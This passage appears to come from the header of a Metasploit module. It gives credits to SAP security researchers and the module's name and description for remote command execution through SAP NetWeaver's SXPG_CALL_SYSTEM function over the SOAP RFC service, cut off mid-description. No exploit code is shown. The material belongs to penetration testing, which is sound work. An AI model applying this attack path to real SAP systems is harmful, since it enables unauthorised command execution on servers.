# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
# in producing the Metasploit modules and was happy to share his knowledge and
# experience - a very cool guy.

# The following guys from ERP-SCAN deserve credit for their contributions -
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
# Dmitry Evdokimov.
#
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
# who have Beta tested the modules and provided excellent feedback. Some people
# just seem to enjoy hacking SAP :)

'Name' => 'SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution',
'Description' => %q{
This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP
RFC Service, to execute remote commands. This module needs SAP credentials with
privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested
successfully on Windows 2008 64 bits and Linux 64 bits platforms.
